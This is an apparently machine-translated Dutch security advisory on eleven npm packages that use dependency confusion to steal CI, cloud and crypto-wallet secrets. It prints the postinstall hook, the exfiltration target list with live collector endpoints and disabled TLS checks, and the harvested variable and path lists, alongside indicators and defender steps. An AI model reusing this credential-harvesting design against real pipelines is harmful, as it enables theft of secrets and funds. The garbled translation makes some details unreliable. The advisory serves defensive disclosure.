TL; DR
Op 17 juni 2026 publiceerde één npm-account elf pakketten die één gemeenschappelijk doel en één gemeenschappelijke lading hebben.Tien van hen dragen de cryptodao- voorvoegsel (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); de elfde is de scoped @public-for-cdao/core. Ze werden allemaal gepubliceerd in versie 99.99.99 en verzendt een byte-identieke recon.js dat loopt door postinstall.
De namen spreken boekdelen. Ze lijken op de interne bouwstenen van de private toolchain van een crypto-/DAO-project. Gepubliceerd in het openbare npm-register met een kunstmatig hoge versie, wachten ze daar op een build. pipeline dat is geconfigureerd om die namen op te lossen en dat de openbare npm-server bereikt vóór – of in plaats van – de privé-registry. Dit is afhankelijkheid verwarringen de lading is precies afgestemd op de verwachte landingsplaats: CI/CD Runners.
. postinstall branden, recon.js verzamelt gegevens van de gastheer, scant ruwweg veertig omgevingsvariabelen voor cloud, CI en cryptowallet, leest alles .env Het apparaat vindt de bestanden die het kan vinden en stuurt de geheimhoudende regels woord voor woord door, waarna het de bundel naar twee verzamelaars verzendt. webhook.site en een Pipedream-eindpunt — met uitgeschakelde TLS-certificaatverificatie. Er is ook een kopie geschreven onder /tmp.
ernst: hoog. Betrokken ecosysteem: NPMAlle elf pakketten waren actief op het moment van schrijven.
Aanvalsanatomie
Het mechanisme heeft vier bewegende onderdelen, en geen daarvan is subtiel als je eenmaal weet hoe ze werken. Kijk één niveau voorbij de pakketnaam.
1. Versie-inflatie als lokmiddel voor de oplossing. Elk pakket geeft de versie aan 99.99.99Afhankelijkheidsverwarring treedt op wanneer een pakketbeheerder om een afhankelijkheid vraagt. interne naam, controleert ook het openbare register en kiest de hoogste versie. vindt. De standaardselectie van npm voor een caret- of wildcardbereik is de de meest bevredigende versie voor elke geconfigureerde bron; als zowel een privé Als het register en de openbare npm-server dezelfde naam weergeven, wint het hogere versienummer. A 99.99.99 overtreft in principe elke interne versie die een project daadwerkelijk zal hebben. bereikt, dus een resolver die niet is gekoppeld aan de privébron geeft de voorkeur aan de openbaar — en in dit geval vijandig — exemplaar. De operator hoeft de de werkelijke cijfers van het doelwit; het kiezen van een absurd maximum garandeert altijd een gelijkspel. Het breekt hun pad.
2. Een trigger die na de installatie wordt uitgevoerd. package.json verbindt de lading met de installatie. Levenscyclus:
{ "scripts": { "postinstall": "node recon.js" } } Het is niet nodig om het pakket te importeren. Het volstaat om het te installeren — wat een CI-systeem vereist. pipeline doet automatisch — voert uit recon.js.
3. Een grootschalige geheime actie. recon.js Stelt stapsgewijs een resultatenarray samen:
- Hostcontext: hostnaam, platform en release, architectuur, gebruikersnaam, werkend directory.
- Omgevingsvariabelen: het doorloopt een vaste lijst van ongeveer veertig namen en records. alle die zijn ingesteld. De lijst is veelzeggend: hij koppelt generieke CI-tokens. (CI_JOB_TOKEN, CI_REGISTER_WACHTWOORD, GITLAB_ACCESS_TOKEN) en wolk Inloggegevens (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) met register- en containergeheimen (NPM_TOKEN, DOCKER_WACHTWOORD, HARBOR_PASSWORD) en een cluster met een uitgesproken crypto-smaak: PRIVÉ_SLEUTEL, ezelsbruggetje, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCDe geregistreerde waarden worden afgekapt tot de eerste 50 tekens.
- .env bestanden: het doorzoekt een lijst met paden — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, en .productie/.ontwikkeling varianten — en voor elk bestand dat bestaat, het filtert de inhoud op regels die overeenkomen SLEUTEL|GEHEIM|TOKEN|WACHTWOORD|PRIVÉ|MNEMONIEK en voegt die regels **volledig en onverkort** toe aan de resultaten.
- Build-host context: het geeft de eerste 20 vermeldingen weer van /builds/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/en / Tmp /.
De padenlijst en de variabelenlijst zijn meer gericht op GitLab-runners, wat wijst op De verantwoordelijkheid voor de payload ligt volledig bij de zelfgehoste CI-infrastructuur in plaats van bij een ontwikkelaar. laptop. Door de oogstlijst per categorie te groeperen, wordt de beoogde oogst duidelijk:
| Categorie | Bereikte variabelen/paden |
|---|---|
| CI/CD identiteit en implementatie | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registratie & container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Gegevensopslag | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Crypto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| messaging | SLACK_TOKEN, DISCORD_TOKEN |
| Op de schijf | .env familie + /home/gitlab-runner/.env, /root/.env, /app/**/.env; adreslijsten van /builds/, /var/lib/gitlab-runner/ |
Het cryptografische cluster is het onderdeel dat dit onderscheidt van een generiek CI-geheim. sweep: de seed-phrases en ondertekeningssleutels van de wallet verschijnen alleen in de omgeving van een blockchain-project, en ze worden direct gekoppeld aan de cryptodao-/ondertekenaar/contracten naamgeving van de vervoerders.
4. Dubbele data-exfiltratie met uitgeschakelde verificatie. De verzamelde array is geserialiseerd en via POST naar twee bestemmingen verzonden:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) afwijzenOngeautoriseerd: onjuist Schakelt de TLS-certificaatcontrole voor uitgaande verbindingen uit. aanroepen. Dezelfde gegevens worden naar stdout afgedrukt (zodat ze ook in de CI-taaklogboeken terechtkomen) en geschreven /tmp/.npm_recon_ .jsonFouten worden stilzwijgend geaccepteerd, dus een Een mislukte verzending laat geen spoor achter in de installatie-output, behalve een enkele melding. [verkenning] geïnstalleerd op lijn.
Een belangrijke opmerking in het bestand beschrijft het als een "Verwarring over afhankelijkheden". "Verkenningspayload." Het inkorten van omgevingswaarden tot 50 tekens heeft de vorm van een proof of concept. Wat het onderscheidt van een baken dat alleen aanwezigheid detecteert, is de .env Verwerking: geheimhoudende berichten worden volledig doorgestuurd, en de bestemmingen zijn er twee werkende, door de aanvaller bestuurde collectors in plaats van een sink die alleen telt treffers.
Timeline
Het publicatiepatroon is het kenmerk van één enkele, gescripte push, niet van elf. onafhankelijke uploads.
| Tijd (UTC, 17 juni 2026) | Evenementen |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 gepubliceerde |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variant met beperkt bereik, ongeveer 24 minuten later |
Binnen een tijdsbestek van 29 seconden werden tien pakketten verzonden, ongeveer één om de drie seconden. De scoped @public-for-cdao/core ongeveer 24 minuten later volgde een tweede naamgevingsconventie voor hetzelfde doel, voor het geval het consumerende project ernaar verwijst. interne toolchain onder een scope in plaats van met kale namen.
Indicatoren van compromissen
| Type | Indicator |
|---|---|
| Verzamelaar | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Verzamelaar | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Haak installeren | postinstall: node recon.js |
| Verplaatst bestand | /tmp/.npm_recon_<timestamp>.json |
| Log marker | [recon] <pkg>@<ver> installed on <hostname> (stdout in CI-logs) |
| Behavioral | rejectUnauthorized: false bij uitgaande HTTPS tijdens de installatie |
| payload | recon.js, identiek in alle elf pakketten (één gedeelde build) |
| Versie | 99.99.99 op elke verpakking |
| Arrangementen | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (allemaal 99.99.99) |
| Uitgever | aduljune / aduljune@proton.me (e-mailadres niet geverifieerd, geen gekoppelde bronrepository) |
Toeschrijving en waargenomen gedrag
Alles aan het cluster wijst naar één hand. Alle elf pakketten zijn gepubliceerd. via het npm-account aduljune (aduljune@proton.meeen niet-geverifieerd adres zonder gekoppelde bronrepository), binnen een tijdsbestek van 25 minuten, op hetzelfde moment 99.99.99 versie, verzending van een recon.js waarvan de inhoud byte voor byte identiek is in elke pakket (MD5-matches in alle elf uitgepakte kopieën). Dat is één payload. Het is vastgelegd in een lijst met namen, niet in onafhankelijk hergebruik van code.
De namenlijst definieert het beoogde doel. cryptodao-* en cdao beschrijf de De lay-out van de privémodule van een crypto/DAO-project en de lijst met te verzamelen gegevens van de payload. Dat weerspiegelt die veronderstelling: naast de algemene CI- en cloudgeheimen, is het specifiek reikt naar PRIVÉ_SLEUTEL, ezelsbruggetje, SEED_PHRASEen Ethereum/BSC RPC en providersleutels. De .env Zoekpaden en directorylijsten zijn GitLab-runner specifiek. Het waarneembare effect is dat elk pipeline misleid om deze te installeren Names zou zijn CI-tokens, cloud-sleutels en gegevens op de schijf doorsturen. .env geheimen — en, voor een blockchainproject, het bijbehorende walletmateriaal — aan twee externe verzamelaars.
Wij doen geen uitspraken over wie het account beheert of wat die persoon van plan was ermee te doen. Gegevens. De feiten spreken voor zich: de namen zijn gericht op een specifiek soort. interne toolchain, de payload leest en verzendt echte geheime waarden, en de De infrastructuur was operationeel.
Impact, trends en richtlijnen voor verdedigers
Verwarring over afhankelijkheid blijft effectief omdat het gebruikmaakt van het gedrag van de resolver, niet van een kwetsbaarheid in elk pakket. De drager is hier triviaal — elf bijna lege pakketten — maar de explosieradius is willekeurig. pipeline geeft ten onrechte de voorkeur aan de openbare npm-versie voor een interne naam. CI-runners zijn de slechtste plek waar dat kan gebeuren: zij bewaren... precies de tokens en .env bestanden die deze payload leest, en die worden geïnstalleerd afhankelijkheden niet-interactief, dus een na installatie rent rond zonder dat iemand kijkt.
Deze cluster past ook in een patroon dat we steeds vaker zien: installatie-payloads die zich presenteren als "onderzoek" of "verkenning" tijdens het daadwerkelijk verzamelen van referenties. Het label De wijziging in het bestand verandert niets aan wat de code doet op een runner. Twee ontwerpkeuzes zorgen ervoor dat... de activiteit stil: elke netwerk- en bestandssysteemoperatie is verpakt in een Een exception handler die fouten negeert, zoals een geblokkeerde verzending of een ontbrekend bestand. produceert geen diagnostische output en het enige dat wordt afgedrukt is een enkele onschuldige [recon] … geïnstalleerd een regel die naadloos overgaat in het normale installatiegesprek. Het gebruik van webhook.site En Pipedream is ook een bewuste keuze voor het gemak — beide zijn gratis. Direct beschikbare aanvraag-vastleggingsservices, waardoor de operator geen servers nodig heeft. Hun eigen hostnamen en de bestemmingen lijken in de uitgaande logboeken op gewone SaaS-hostnamen.
De economische aspecten maken dit de aandacht van een verdediger waard, ook al... De providercode is triviaal. Het registreren van elf namen kost niets, de payload is er maar één. Het bestand wordt elf keer gekopieerd en de pakketbeheerder voert alles uit. Een enkel bestand. verkeerd geconfigureerd pipeline Iedereen die een van deze namen gebruikt, betaalt voor het geheel. operatie.
Concrete stappen voor verdedigers:
- Koppel interne scopes aan uw privéregister. Configureer npm zodat interne namen
en bereiken worden alleen opgelost ten opzichte van uw register (bereikgebonden .npmrc-registertoewijzingen, of een proxy die nooit terugvalt op de openbare npm voor eigen namespaces). Reserveer je openbare scopenamen zodat niemand anders ze kan registreren.
- Commit lockfiles en installeer met –ignore-scripts in CI waar mogelijk, of Controleer de kleine set afhankelijkheden die daadwerkelijk installatiescripts nodig hebben. recon.js kan niet worden uitgevoerd als na installatie wordt niet uitgevoerd.
- Behandel een versie van een naam die intern lijkt te zijn, met de waarde 99.99.99 (of een andere absurd hoge waarde). als een rode vlag bij afhankelijkheidsbeoordeling en registerbewaking.
- Waarschuwing bij gegevensverlies tijdens installatie. A na installatie die een uitgaande HTTPS-verbinding opent verbinding — vooral wanneer certificaatverificatie is uitgeschakeld — met Het is raadzaam om services zoals webhook.site, Pipedream of vergelijkbare diensten voor het vastleggen van verzoeken aan de netwerkrand te blokkeren en te markeren in de buildlogs.
- Ga op zoek naar de artefacten. Controleer de hardlopers op /tmp/.npm_recon_*.json en het [recon] … geïnstalleerd op … marker in recente CI-logboeken. Indien gevonden, roteer elke referenties die daaraan blootgesteld zijn pipeline — CI-tokens, cloud-sleutels, registertokens en alle wallet-seeds of privésleutels die aanwezig zijn in de omgeving of .env-bestanden.
Referenties
Er bestonden op het moment van schrijven geen externe rapporten over dit cluster; de analyse Bovenstaande is direct gebaseerd op de gepubliceerde pakketinhoud.




